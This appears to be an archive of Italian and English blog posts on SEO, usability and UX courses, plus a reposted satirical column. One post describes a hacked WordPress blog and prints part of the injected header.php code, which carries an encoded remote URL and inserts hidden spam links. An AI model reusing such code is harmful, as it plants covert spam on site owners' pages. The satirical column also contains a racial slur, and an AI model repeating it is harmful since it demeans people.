Articoli su interaction design (IxD), posizionamento sui motori di ricerca (SEO) e web Marketing

This is a brief tutorial on Video Engine Optimization (VEO) i.e. how to optimize a video to rank well on Youtube and other video platforms.
VEO is a particular kind of “engine optimization”. When optimizing for Search Engines content, code and link structure (both internal link and backlinks) we know are the key ingredients. When it comes to video optimization code is not an option, link structure is important and content is mandatory.

Content writing

To optimize a video for good ranking all you need to do is to follow the instructions below. I provide an example video here and suggest to reverse engineer videos that rank well, just make a search for the keyword you want to optimize and see what the others did. So here are the steps:

1. choose a keyword (for my example i choose the topic: Video Engine Optimization Tutorial)
2. use it in the video filename (my original video is called: video-engine-optimization-tutorial.mov). The use of hyphens is perfectly of here to separate keywords.
3. use it in the Title (e.g. Video Engine Optimization - 30 seconds tutorial). Here the same rules for search engines optimization apply: use your keywords within the title, but don’t be to strict to them. Try to provide something interesting for the user, something that catches the eye. And don’t forget: users are on youtube for different reasons, one of them is to entertain themselves, so… be entertaining and interesting.
4. use it in the description. The description is shown in the search results with the title and a frame of the video. This is probably the moment when your copywriting techniques come handy. This is the very point when people decide weather or not clicking on your link. So write it carefully and choose the best possible frame from the video (*)
5. do some keyword research on competitors video and pick up tags for yours, including of course the keyword you want to rank well for, but do not limit to this

Link structure (backlinking)

Yesterday Facebook announced a new set of social plugins. Here’s the code to put the like/recommend button directly in your Wordpress posts. It’s very easy, just cut and paste this code into Single Post (single.php) in the theme editor:


<iframe src="http://www.facebook.com/plugins/like.php?href=<?php echo urlencode(get_permalink()); ?>&amp;layout=standard&amp;show_faces=true&amp;width=450
&amp;action=recommend&amp;font=verdana&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:px"></iframe>

I would recommend to place it right after the post, just before the comments, which on my wordpress is the line just before

<?php comments_template(); ?>


You may visit facebook Like button to customize it further. Just remember to change, in the code provided there, the “URL to like” with < ?php echo urlencode(get_permalink()); ?> right after the ?href= and right before the & amp;

Have you found this useful? You may want to recommend it

Mi sono accorto, grazie a Google Webmaster Console, che il mio blog era stato hackato. Mi ero accorto da google analytics che le visite da motori di ricerca erano drasticamente scese nelle ultime settimane e il pageRank del blog era passato a valori ben più bassi del solito.

Nel file header.php compariva questo codice:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3Mv'; $opt_id='6b7f3e5f93fdbe97272a041896b86fd9'; $blarr=get_option('cache_vars'); [omissis ]
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=''; foreach($blarr['links'] as $k=>$v) $txt_out.=’‘.$k.’‘; echo str_replace(’[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>

Dalla webmaster console, sezione “parole chiave”, ho notato che l’elenco di parole chiave trovate da Google durante la scansione del sito conteneva nomi di farmaci e pillole (blu).
Disabilitando cookie e CSS sono riuscito a vedere i numerosi link a siti spam che il codice qui sopra infilava nel mio blog.

E’ interessante notare come due importanti aziende italiane approccino la cura della propria identità in Rete.
La prima, Esselunga, lo fa con un efficacia encomiabile.
La seconda, Fastweb, non si preoccupa affatto della mole di proteste che genera.

In un’epoca in cui un consistente numero di consumatori si avvicina all’ecommerce o si informa online per poi acquistare in negozio, non curarsi della propria reputazione in Rete è una scelta perdente.

Spendere centomila euro in Brand Reputation online frutta di più che spenderli per qualche pubblicità sul Corriere della Sera. Oggi la percezione dei consumatori è che ciò che leggono su forum, blog autorevoli e siti speciaizzati corrisponda al Vero. Ciò che mi racconta un brand in una pubblicità può non essere vero. Aggiungiamo anche la considerazione che ciò che è scritto online rimane, mentre il giornale si butta nel cestino a fine giornata.

Porto ad esempio due casi, relativi a due post publicati su topusability.com, uno dove si parla negativamente di esselunga, nell’altro di fastweb.

Nel primo caso una schiera di improbabili ma credibili sostenitori, imbeccati e provocati dall’autore (io), difendono esselunga a spada tratta. I commenti vengono nella maggior parte dei casi da indirizzi IP appartenenti allo stesso network, cosa che non prova assolutamente nulla, ma che mi fa pensare che non si tratti di normali clienti sparsi qua e là per il paese, quanto piuttosto a persone che lavorano sulla Brand Reputation di Esselunga. Il post ha ricevuto 44 commenti, di cui soltanto uno negativo nei confronti di esselunga.

Situazione diametralmnte opposta per fastweb. Un articolo informativo si è presto trasformato in una caccia alle streghe, con commenti pieni di insulti e persone insoddisfatte pronte a parlar male. Fastweb non ha mai dato una risposta ufficiale - sto parlando di un articolo che si posiziona secondo su google per la kw “disdetta fastweb”, quindi piuttosto rilevante per il business di fastweb. La totale assenza di digital PR ha portato alla presenza di 118 commenti, praticamente tutti negativi.

Le 5 metriche di usabilità - come citate nel sito useit da Jacob Nielsen nel 1997 - sono:

• Apprendibilità: quanto è facile per gli utenti portare a termine compiti di base la prima volta che si trovano di fronte all’interfaccia?
• Efficienza: Una volta che gli utenti hanno appreso l’itnerfaccia, quanto rapidamente riescono a eseguire dei compiti?
• Memorabilità: Quando gli utenti tornano all’interfaccia dopo un periodo di inutilizzo, quanto gli è facile usarla di nuovo in modo efficiente?
• Errori: Quanti errori fanno gli utenti, quanto sono gravi, e quanto facilmente possono ritornare alla situazione precedente?
• Soddisfazione: Quanto è piacevole usare l’interfaccia?

Unitamente a queste possiamo considerarne altre 7 - ISO 9241- 110:2006 (Ergonomic requirements for office work with visual display terminals):

• Adeguatezza al compito: le informazioni e i comandi necessari per l esecuzione delle azioni da parte
  dell utente devono essere sempre disponibili e percettibili
• Autodescrittività: le informazioni e i comandi necessari per l esecuzione delle azioni devono essere facili da capire e da usare
• Conformità alle aspettative dell’utente: stessi simboli, messaggi e azioni devono avere gli stessi significati in tutta l’interfaccia
• Controllabilità: l’interfaccia deve comunicare il suo stato e gli effetti delle azioni compiute (quello che Norman chiama golfo dell’esecuzione e golfo della valutazione);
• Adeguatezza alla personalizzazione: l’interfaccia deve tener conto di profilature individuali e di differenti contesti d’uso
• Tolleranza degli errori
• Adeguatezza all’apprendimento

Quest anno al workshop di posizionamento sui motori di ricerca (what is SEO?) organizzato presso la Scuola Politecnica di Design - Master in Web Design - si parla di Design Muschiato

Che cos’è il Design Muschiato? Difficle da dire. Un misto di Architettura, Design, Arte e Grafica, dall’odore intenso, dolce e muschiato. Taluni dicono che abbia un forte effetto afrodisiaco.

Fig4. Pelle muschiata. Che profumo!

Per saperne di più visitate i siti degli studenti:

• Muschiato Design — Moss Design Lab
• Design muschiato, una grande esperienza tra muschio e design
• Design muschiato
• BUE MUSCHIATO DESIGN
• MUSCHIATO DESIGN

Buon divertimento!

Questo articolo è in risposta a quanto scritto da Sefano qui.

Innazitutto credo fermamente che la metodologia agile sia applicabile a progetti Web, e concordo con quanto scritto da Stefano sul fatto che questa vada adattata, essendo il contesto e gli attori differenti.

Il team degli sviluppatori nell’agile classico viene sostituito dal team nella sua interezza, dal team agile UX: programmatori, web writer, information interaction designer, graphic designer, SEO specialist, …

Quando si pensa a chi è il constraint sul progetto, il collo di bottiglia, si deve pensare a tutto il team, non solo ai programmatori.

Per quanto riguarda la “pubblicazione” del sito, anche nella metodologia Agile classica si fa riferimento al MMF: Minimum Marketable Features, ovvero il minimo insieme di funzionalità che il prodotto deve avere prima di essere lanciato sul mercato. Non è vero che dopo il primo sprint si ha sempre un qualcosa che possa diventare pubblico. Anzi. Nell’Agile UX questo corrisponde al minimo set di funzionalità che rendono un sito pubblicabile, anche se in versione alpha o beta.

Per quanto riguarda la progettazione dell’architettura dell’informazione ritengo sufficiente una mappa del sito e dei flowchart che mostrino quali sono le azioni da fare per portare a compimento i processi/task principali. Fatte queste, per ogni sprint si creano wireframes e mock-up da condividere con il team e con il cliente. L’approvazione del cliente è determinante. Mock-up ben fatti salvano un sacco di tempo al team e permettono di fare test di usabilità. Non importa che il cliente veda del software funzionante quando può avere un prototipo che fa la stessa cosa. In questo mi dissocio dall’approccio Agile che dice “niente documentazione solo software funzionante”, ma non perchè sia contrario all’idea, ma perchè semplicemente lo scenario qui è diverso.

Il coinvolgimento del cliente, anche 30 minuti alla settimana, è fondamentale e irrinunciabile. E’ col cliente che si fa il planning game, che si introducono nuove storie, ed eventualmente se ne tolgono altre, perchè tutto il lavoro deve essere fatto in un timebox ben determinato. Al cliente bisogna spiegare che per ogni nuovo story point che entra nel progetto ne deve uscire uno tra quelli già pianificati (magari senza spaccare il capello…).

Per quanto riguarda i test di usabilità parafrasando Jakob Nielsen si può dire che è comunque sempre meglio testare un utente 10 minuti che non testare affatto. Credo che 10 minuti li si possa trovare tutti.

Grazie Stefano per l’ottimo articolo!

Due colleghi in pair programming

User Experience 2008 - 18 Nov

Un bel corso, molto hands-on, tenuto da due persone brillanti:

Dan Brown, Nathan Curtis

Il ciclo di vita della documentazione di User Experience

La documentazione di User Experience (UX) accompagna il progetto di design, dall’inizio alla fine. Svolge diversi compiti e comunica, di volta in volta, ad audience differenti.

Nella prima fase di progetto la documentazione è di alto livello. Serve a raccontare e propagare la storia del progetto, sia al team che agli stakeholders. Tracciare le scelte di design, ratifica le decisioni, a colma i buchi nella storia, con l’aggunta di passi intermedi e dettagli. Il project manager parte da qui per fare la pianificazione delle attività.

Nella fase di sviluppo è la traccia comune per l’intero team di progetto; descrive: le interazioni, gli stati e i comportamenti del sistema, i vincoli sui dati visualizzati e quelli inseriti, l’aspeto visuale delle singole pagine, i contenuti da associare o creare per ogni pagina.

L’audience di un documento di UX è ampia: executives, product manager, site strategist, visual designer, developer, QA e copywirter.

Nella prima fase l’uso di flowchart, mappe del sito e storyboard serve a executives, product manager e site strategist a comunicare e tracciare le decisioni prese. Nella fase di sviluppo visual designer, developer, QA e copywirter hanno invece bisogno di wireframe annotati e specifiche funzionali.

Brown e Curtis consigliano di partire con un documento che sia facile da estendere, mantenere nel tempo e presentare in modo diverso a diverse audience. La loro scelta aziendale come software di riferimento per la documentazione di user experience è Adobe Indesign. Utilizzano alcuni script per la costruzione del documento a partire da una base di template che hanno creato negli anni. Purtroppo questi template non sono tra gli materiali del corso.

Si crea un primo documento di alto livello, con strategia, flow chart e mappe del sito. Questo documento viene successivamente integrato con i wireframe e le specifiche funzionali, entrando in un livello di dettaglio maggiore.

La manutenzione è un processo critico, da tenere presente fin dall’inizio, in modo che non diventi ardua nel tempo. Il processo di design, non lineare per sua natura, crea la necessità di modificare ed eliminare parti del flusso di navigazione, presentare delle varianti di pagina e tener traccia delle decisioni. Se si organizza il documento di UX in due macroparti e se si usano delle convenzioni si diminuisce drasticamente l’overhead dovuto alla manutenzione.

Nella preparazione di un documento di UX Dan Brown ci invita ad applicare i principi di user centered design al documento stesso. Se è difficile da leggere, non ha una struttura, non risponde alle domande dell’audience in modo diretto e chiaro, non è un buon documento. Sollecita di fatto gli interaction designer ad applicare le proprie conoscenze alla scrittura della documentazione.

Flow Chart e Mappe del sito

Si parte all’americana, con un esercizio in classe: disegnare a scelta un flow chart che descriva una tra queste attività:

• inserimento nota spese
• aggiunta di un contatto
• tracciamento delle ore lavorate

Discussi alcuni flow chart fatti dai partecipanti viene data la definizione di flow chart: un diagramma che mostra come una persona (o un gruppo di persone) cambi lo stato di una situazione, tipicamente manipolando e trasformando l’informazione. In modo meno astratto: è la risposta a “come fanno gli utenti a fare X?”, fornita in termini di visualizzazione di come portare a compimento una specifica azione oltre che essere uno strumento per l’individuazione dei requisiti funzionali.

Un flow chart racconta il flusso tra ha un punto iniziale e uno finale. Un esempio che è entrato nella storia è la carta figurativa che descirve il percorso fatto da Napoleone con le sue truppe durante la campagna di Russia:

Fig 1. Carta figurativa, Minard.

In una singola pagina Minard, l’autore della carta figurativa, comunica dati relativi al numero delle truppe, la direzione, le distanze, latitudine, longitudine, il tempo, la temperatura, i fiumi principali attraversati.

Prima di disegnare un flow chart ci si deve chiedere:

• come utilizzarlo, quale sarà il suo scopo
• chi è l’audience
• quanto dettaglio andremo a inserire
• se è sufficiente usare un vocabolario standard o se ne si deve inventare uno nuovo
• come definire il contesto, ovvero quante informazioni di background vanno inserite nel flow chart
• come trattare i diversi scenari, ovvero quante variazioni vanno presetate
• come strutturarlo in forma narrativa

Dan Brown ha una sua metodologia:

• individua il punto di ingresso e i punti di uscita
• definisce quali sono gli elementi: i singoli passi (boxes), i momenti di decisione (diamonds), i percorsi (paths / arrows)
• elabora gli elementi: differenzia tra diversi scenari (compresi quelli di errore), variazioni, dettagli, e gruppi di azioni
• raffina gli elementi: aggiunge note di rpoduzione, dettagli tecnici, eventi che scatenano determinate situazioni

Il vocabolaro di simboli da cui si attinge spesso non permette di raccontare nel migliore dei modi la nostra storia. Siamo liberi di inventare nuovi simboli, metterli in legenda e ricordarci sempre del nostro target.

Fig 2. Esempio di flow chart.

Il flow chart serve in particolar modo per raccontare delle azioni, è lo strumento di base dell’interaction design. La mappa del sito invece è utile a descriverne la classificazione dei contenuti ed è connessa all’information architecture. A meno che non si abbia a che fare con una web application i siti di informazione vengono bene raccontati da una mappa del sito e in alcune parti, particolari azioni, possono essere illustrate tramite flow chart.

Annotated Wireframes e Specifiche funzionali

L’ultima parte del corso riguarda la creazione dei wireframe con annotazioni e le specifiche funzionali. Nathan Curtis ci mostra diversi wireframe creati in Indesign. C’è una separazione netta tra il layer contenente l’artwork da quello con le annotazioni.

Anche in questo caso si parte con un esercizio: disegnare il wireframe di un momento specifico del flow chart creato in precedenza. Scelgo di creare il wireframe per l’inserimento della nota spese e lo discutiamo in aula. Non ne si discute tanto la bontà del design quanto la capacità documentativa.

Si arriva di seguito alla definizione di wireframe: un diagramma che rappresenta il contenuto dello schermo e le priorità/importanza degli elementi. In modo meno astratto: è la risposta a “cosa vedono gli utenti sullo schermo?”, un modo per illustrare funzionamento e comportamenti.

Operativamente occorre chiedersi:

• chi è l’audience
• quanto aderente all’aspetto finale deve essere
• che livello di dettaglio si deve raggiungere
• in che formato finale viene presentato
• qual è il numero di persone che lavorano al documento (sviluppatori, IxD, information architect, copywriter, ..)
• qual è il minimo necessario che posso fare per le diverse audience?

Con ogni probabilità questo è il documento più dettagliato e comprensibile che gli stackeholder e l’intero team di progetto avranno sotto mano per diverso tempo, finchè non si iniziano a vedere i primi prototipi o addirittura il sito/applicazione funzionante.

E’ importante perciò che questo documento sia utilizzato per ratificare le decisioni di design, che Dan Brown ricorda non debbono essere motivate da “la mia opinione è che…” quanto piuttosto da ricerche, letteratura e user data. Una delle trappole più insidiose è quella di trovarsi a discutere in una riunione basandosi solo sulle opinioni.

Durante una presentazione è importante fare domande per:

• validare quanto fatto
• chiarire se manca qualcosa
• scegliere tra le diverse alternative presentate (e quindi eliminarne alcune variazioni)
• comprendere le implicazioni a livello funzionale e organizzativo di ciò che si sta presentantdo, ovvero assicurarsene la fattibilità sia tecnica che a livello di orgranizzazione

Anche Nathan Curtis ha una sua metodologia operativa:

• definisce quali sono gli elementi: aree di contenuto, descrizione, priorità
• elabora gli elementi: elementi interattivi, annotazioni, scenari e varianti, razionali
• raffina gli elementi: layout e visual design, contesto e contenuti d’esempio

Il documento di UX, contenente il flow chart, mappa del sito e wireframe annotati deve avere una struttura rigorosa. In particolare per la sezione relativa ai wireframe annotati i consigli sono: proporzionare bene lo spazio per l’artwork e quello per le annotazioni tenendo in considerazione la quantità di dettaglio alla quale si desidera arrivare, che annotazioni e artwork devono stare vicini e che deve esserci un formato standard per tutto il documento. Scegliere i template che si utilizzano per presentare variazioni di pagina o di componenti,  piuttosto che altri tipi di imamgine o di struttura.

Nathan Curtis prende in rassegna diversi tipi di annotazioni: overlay, callout e markers. In pratica negli esempi che mostra l’uso dei marker (in particolare dei notched marker e dei margin marker) è quello prevalente. Si tratta quasi sempre di annotazioni puntuali. I callout a square braket e outline servono invece a raggruppare il soggetto delle annotazioni.

Fig 3. Notched marker e corrispondente annotazione.

La notazionè è numerata se si sta decrivendo una lista di oggetti, per favorire la lettura, mentre invece utilizza le lettere quando indica dati e tabelle, variazioni di pagina e componenti. Il marker deve essere posizionato con precisione in modo da non risultare ambiguo. Quando si mostrano variazioni di pagina, è bene non diplicare le parti che rimangono invariate, ma concentrarsi sui componenti o gli elementi che variano. Questo per motivi di convenienza in fase di manutenzione.

Per l’annotazione di un wireframe si procede come segue:

• si inserisce il wireframe nella pagina
• lo si divide in elementi, che vengono marcati
• si dettaglia ogni elemento
• ne si identificano gli attributi, tipicamente:
  1. comportamento (es. onclick, onmouseover, …)
  2. stato (es. visibile|nascoso)
  3. dati (es. [nome cognome], o l’uso delle {parentesi graffe} per descrivere un contenuto opzionale
  4. eventuali guide editoriali per i copywirter e per il SEO

La rappresentazione dei dati all’interno di un wireframe è stato un momento importante del pomeriggio. Riassumendo quanto detto:

• il “lorem ipsum” va bene solo per testi lunghi
• i dati reali rischiano di sviare l’attenzione degli stakeholder, che si concentrano sui dati invece che sull’interfaccia
• i dati fittizzi (es. Mario Rossi) hanno lo stesso problema, possono essere confusi per dati veri e posso essere interpretati in modo ambiguo.
• le [label] sembrano essere il migliore compromesso nella maggior parte dei casi, anche se si deve fare attenzione che non rappresentano visivamente il dato e quindi possono trarre in inganno come dimensioni (es: [codice fiscale], [nome], [cognome], …). Inoltre se si intende fare dei test di usabilità è meglio usare dati fittizzi/reali

Integrazione dei contenuti

Una delle sfide più ardue è l’integrazione deicontenuti con l’interfaccia utente in modo che la user experience risulti seamless. Una delle prime difficoltà è dovuta al fatto che contenuto e interfaccia di solito hanno diversi responsabili, processi di approvazione e livello di dettaglio.

Se pensiamo a un progetto come composto da:

• struttura: relazioni e reperibilità - responsabili: information designer
• contenuto: voce, linguaggio e leggibilità - responsabili: copywriter, content strategist e SEO
  
• interazione: comportamento e usabilità - responsabili: interaction designer

Queste tre aree devono cooperare in mododo da consentire:

1. istruzioni e feedback tra contenuto e interazione,
2. tassonomie e metadati tra contenuto e struttura.
3. flusso e dati tra interazione e struttura.

Infine abbiamo commentato alcuni wireframe prodotti in aula. A scopo puramente dimostrativo prendo un già buon wireframe annotato e provo a commentarlo sulla base di quanto appreso durante il corso.

Fig 4. wireframe annotato esemplificativo. Fonte: ethnographic-consulting.com

Questo wireframe presenta una divisione in tre aree:

• header e il footer contengono documentazione amministrativa
• artwork (il wireframe)
• le annotazioni (sul lato destro)

il wireframe descrive il contenuto delle quattro aree in cui è diviso lo schermo, anche se “get started” e il footer con l’about us non sono tenuti in considerazione. La scelta dello spazio riservato alle annotazioni mi fa pensare a un documento non particolarmente dettagliato, che descrive gli elementi funzionali e la navigazione. Per la scelta dei marker Nathan avrebbe preferito i notched marker, e un’enumerazione a lettere (A, B, C, …).

I marker non vengono ripetuti sul lato destro, con i contenuti, perdendo un po’ di leggibilità. Non sono visibili gli elementi interattivi, per i quali si dovrebbe utilizzare il colore blu (link, bottoni, …) . Le aree indicate dai marker sono omogenee e pertanto non è stato necessare usare un outline per indicarle.

User Experience 2008 - 16 Nov

Un breve rissunto della giornata, per chi non c’era.

Relatori: Jakob Nielsen, Hoa Loranger and Kara Pernice

Introduzione

Un po’ di consigli utili in base agli ultimi studi di ricerca. Buona notizia è che l’usabilità dei siti migliora di anno in anno sia come percentuale di task completati con successo sia come tempo impiegato per concluderli.

Nell’89% dei casi (fonte: User Experience 2008) gli utenti cominciano la propria navigazione da un motore di ricerca. Il 25% delle volte da qui raggiungono la home page, il 75%  una pagina interna. Questi dati rivelano una diminuita preponderanza della home page sulle altre pagine del sito; ne segue che ancora maggior attenzione vada posta nella progettazione delle pagine interne.

Sui motori id ircerca il 95% degli utenti non procede oltre la prima pagina (i primi 10 risultati, di solito), e solo il 48% scolla la pagina per vedere i risultati non immediatamente visibili (fonte: User Experience 2008).

E’ aumentato l’uso della scrollbar: nel 70% dei casi gli utenti scoprono altro contenuto se la pagina è più lunga dello schermo (fonte: User Experience 2008).

La lunghezza delle stringhe di ricerca nell’ 82% dei casi è inferiore ai 30 caratteri, con una prevalenza - moda - di 18/21 caratteri. Jakob Nielsen consiglia vivamente di lasciare abbastanza spazio affichè l’utente possa leggere per intero tutto quanto viene scritto nel box di ricerca.

E infine la borsa: il valore di un utente:

• 1.31$ se proviene da da motori di ricerca, risutati organici
• 1.91$ se viene da un link sponsorizzato
• $5.69 se raggiunge il sito scrivendo l’indirizzo o richiamandolo dal bookmark

Fidelizzare gli utenti sembra essere un buon investimento.

L’usabilità dei contenuti

Grande enfasi è stata posta sui contenuti e la posizione dell’utente al centro, invece che l’azienda che costruisce/finanzia il sito, nelle scelte di design. Questo porta a ragionare come l’utente e fornire contenuti a lei utili all’utente (vedi task analysis & flow), usando un linguaggio comprensibile, scrivendo frasi brevi, e senza essere autocelebrativi. In modo particolare i relatori sono soffermati sui seguenti elementi di interfaccia:

1. link e titoli
2. testi
3. immagini
4. messaggi di errore

Il testo dei link o dei titoli deve essere una promessa fatta all’utente: deve raccontare cosa “succede poi”, deve permettere all’utente di predire cosa stia dall’altra parte del link o quale sia il contenuto di ciò che segue un titolo. In passato ho letto spesso che “click here” è cattivo design, oggi Jakob Nielsen ha affermato che “more…” e “read more…” lo sono altrettanto. Gli oggetti prominenti dovrebbero essere cliccabili. L’area di click il più grossa possibile. Ovviamente per Nielsen i link sono blu e sottolineati, ma con gli anni si è ammorbidito e oggi accetta anche link non blu. Purchè sottolineati.

I testi devono essere formattati, possibilmente non usare parole inutili o complesse. La Nielsen Norman Group ci ricorda che poco meno della metà degli utenti Web (per l’esattezza il 43% - fonte: User Experience 2008) hanno una scolarizzazione non sufficiente per:

• sintetizzare informazioni contenute su più pagine
• confrontare informazioni complesse (es. le caratteristiche di diverse carte di credito)
• determinare causa ed effetto
• riconoscere lo scopo dell’autore

Inoltre, nella scrittura dei testi, è importante sapere che le persone leggono tipicamente:

• le prime due parole del titolo
• i primi due elementi di una lista
• le prime due riche di una pagina o di un paragrafo
• i due primi risultati di tornati da un motore di ricerca

se non trovano ciò che cercano passano oltre. Questa viene chiamata la regola del 2.

Altro punto fondamentale è la consitenza della struttura tra contenuti omogenei. Quindi se state ad esempio decidendo per struttura delle pagine che descrive i corsi della User Experience 2008, per esempio “Fundamental Guidelines for Web Usability“, allora potete optare per: what you will learn, course outline, format, handouts, who should attend, …

Le immagini hanno un ruolo importante. Così come il testo deve avere un buon contrasto con lo sfondo, le immagini devono risaltare il prorio messaggio. Interessante scoprire che siamo interessati (rivelazioni fornite da test fatti con eyetracking) alle immagini di altre persone, specialmente volti sorridenti che guardano direttamente in camera, e tendiamo a focalizzare lo sguardo in particolare sulle parti intime. Anche degli animali :-O

Le immagini devono comunicare, invece che essere delle blande risposte alla richiesta fatta al team di designer: “questo sito è triste, mettete un po’ di immagini per renderlo cool“.

I messaggi d’errore vanno posti vicini all’errore. Un indizio dovrebbe essere dato vicino a dove l’utente ha cliccato per procedere. I messaggi devono essere ben visibili e aiutare l’utente a risolvere l’errore. Se fosse possibile poi far si che non sembrino scritti da un automa (”errore: nome utente non valido”, con voce metallica) tanto di guadagnato.

Task analysis & flow

L’altro argomento importante affrontato oggi è come guidare l’utente attraverso una serie di decisioni, ovvero come farlo navigare sul nostro sito. Innanzi tutto bisogna iniziare a capire quali sono i bisogni dell’utente e formularli come se fossero compiti da svolgere (task). Fatta una lista di questi si va a lavorare in modo particolare su quelli che interessano anche a noi, ovvero a chi commissiona il sito.

Due esempi portati sono stati www.cheese.com e www.robbinsbros.com, rispettivamente un sito sui formaggi e uno sugli anelli di fidanzamento. In entrabe i casi è stato fatto notare l’ottimo lavoro fatto per cercare di capire come guidare l’utente nella scelta.

Altro ottimo lavoro è la homepage di jetblue dove non compaiono informazioni inutili e frasi autocelebrative, e gli utenti possono immediatamente iniziare a fare quello per cui sono arrivati. Anche la scelta del posto a sedere è estremamente intuitiva e inserita nel flusso di navigazione.

La regola dei tre click invece è una “cagata pazzesca” come direbbe Fantozzi. Inizialmente era stata data come regola generale per cercare di limitare i danni dovuti a un cattivo design. Il KPI (Key Performance Indicator) corretto non è quanti click fa l’utente per completare il task, ma quanto costa, in termini di sforzo mentale e di tempo, la catena dei click.

Il tempo speso in una navigazione per lo shopping online, nel caso di acquisto emozionale di prodotti, per una desired exploration del sito, non conta in termini di sforzo mentale: è un piacere.

I click fatti per rivelare nuovi elementi di interfaccia quando occorrono, non vengono percepiti come frustranti dagli utenti che navigano, ma forniscono una progressive disclosure delle informazioni, che compaiono al momento giusto.

Standard

Jakob Nielsen riprende la parola in chiusura e ci ricorda di seguire gli standard e ci parla di innovazione. Utilizzare gli standard porta ad avere utenti che si sono a proprio agio, senza stare a reinventare la ruota tutte le volte. Gli utenti vogliono trovare le cose nei posti dove sono soliti trovarle, beneficiando di una consistenza sia all’interno del singolo sito, sia tra altri siti analoghi.

Nielsen racconta alcuni siti e fornisce un po’ di esempi. Un sano ripasso: “il box di ricerca in alto a destra, fatto solo di un campo per il testo e il bottone Cerca. Anche Vai va bene ma Cerca è meglio…”. Diciamo maestrino e un po’conservatore sul finale.

Mi sorprendono infatti le slide sull’innovazione, anche se anticipate dall’ammonizione “Pioneering can be Dangerous Business“.

Innovazione descritta con due equazioni:

1. new designs + usable = become standard
2. new designs + unusable = expire

Proprio come avviene per le lingue: un nuovo termine (innovazione) inizia a diffondersi; i più lo trovano utile e lo comprendono; questo crea un nuovo standard che diventa parte della lingua stessa (new usable designs become standard).

Ma non siate troppo ottimisti sull’innovazione, pare che l’evoluzione del comportamento degli utenti sul Web e delle Guidelines si stia stabilizzando.

Riporto l’articolo del mitico Chinaski. Questa volta ha superato se stesso! In meglio.

Se si potesse governare il paese da dietro un blog mi augurerei che si candidasse alle prossime elezioni.

Wololo

“Per quanto mi riguarda vale ancora il metodo classico, per capire se un essere umano è o non è morto, ovvero tastare il polso, strizzare le palle e mettere uno specchietto sotto il naso per vedere se dentro c’è ancora  qualcuno. Trovo invece ridicolo questo bisticciarsi un cadavere approfittandosi del suo smarrimento, disquisendo filosoficamente sulla sottile separazione concettuale tra la vita e la morte e facendo passare gli anni tenendolo attaccato a macchinari che lo fanno respirare, pompare, bere, mangiare e spurgare, magari muovendogli le mani con fili sottili e manovrando le mandibole per fargli emettere messaggi pubblicitari. Che poi, i casi sono due: o è davvero morto e allora stai perdendo soldi e tempo, con tutto che per un famigliare la cosa può rappresentare l’innaturale e malsano prolungamento di uno strazio senza fondo, oppure, beh, è ancora vivo. Sì, cazzo, contro ogni ragione scientifica attualmente disponibile, anche se i calcoli e le tabelle dicono che no, non può più sentire né provare niente, lui invece è lì, vivo, silenziosamente sepolto dentro se stesso per uno, due, dieci, cento anni e senza poter muovere un muscolo, senza potersi nemmeno grattare il culo, senza poter fare altro che pensare e ripensare al nero infinito. È un rischio che non farei correre a nessuno, se devo essere sincero. Sei fisicamente morto, irrimediabilmente andato? Allora io stacco tutto, bello, e ci si vede al prossimo giro.
Ma a quel punto arrivano loro, sempre loro, i non so più come insultarli, guidati dal più famoso cadavere semovente del mondo. Arrivano – ma in senso figurato, visto che fanno tutto da casa tramite un simulatore tipo Age of Empires che gira su Windows 98 – e cominciano con la solita solfa: la vita è sacra, abbasso il relativismo culturale (dove per relativismo culturale intendiamo: non avere la nostra opinione), i bambini portavano provocanti minigonne e così via. Che fa anche ridere, a pensarci, perché molta gente si fa suggerire cosa fare della propria vita da certa altra gente che della vita non ha mai avuto esperienza diretta, e infatti non oso immaginare cosa succederà quando arriveranno dal Padreterno, con il bagaglio esistenziale di un rasoio elettrico:

Il prete morto sta seduto sulla poltrona dell’ufficio di Dio. Dio esamina dei fogli con gli occhialini in punta di naso. Esami del sangue, esami del tono muscolare, dati biografici dettagliati.

Dio: ma che cazz…
Prete: qualcosa che non va, Sire?
Dio: ma come? Non ti sei usato.
Prete: eh, ma…
Dio: incredibile. Scusa, abbassati pantaloni e mutande un secondo.
Prete: …
Dio: avanti, su, o te li tolgo io ma passando dall’alto.
Prete: uh, ok. Ecco fatto.
Dio: …
Prete: …
Dio: c’è ancora il cellofan.
Prete: è che proprio non sapevo come…
Dio: bah. Mai visto sprecare così le proprie ferie.
Prete: ferie?
Dio: già. Comunque. Trovi elmetto, mascherina e piccozza nella stanza qui accanto.
Prete: ma ci deve essere un err…
Dio: il prossimo.

Veramente. Io andrei dal Papa e gli scaricherei un povero disgraziato in stato vegetale da accudire, lavare, nutrire e tutto il resto, dicendogli che, oh, ecco una vita da difendere, rimboccati le maniche (ma lui chiamerebbe un assistente per chiamare un assistente per affidare l’incarico all’aiutante di un sostituto di un maggiordomo negro).
Ma alla fine la parte più irritante sta sempre in questo pretendere di conoscere il volere di Dio alla perfezione e di interferire subito dopo sulla mia sovranità personale. Ma che ne sai, mi dico: magari Dio vorrebbe la mia anima accanto a sé nella gloria eterna del regno dei cieli e tu mi tieni qui a vegetare in un letto d’ospedale per vent’anni a guardarmi l’interno delle palpebre degli occhi. Come faccio a non odiarti? Oppure, che resta la più probabile, Dio non ha nessun volere e non ce l’ha per il semplice fatto che non esiste (o che esiste ma è un fascio di luce verde), e allora, ci arrivi da te, non mi devi rompere le palle.”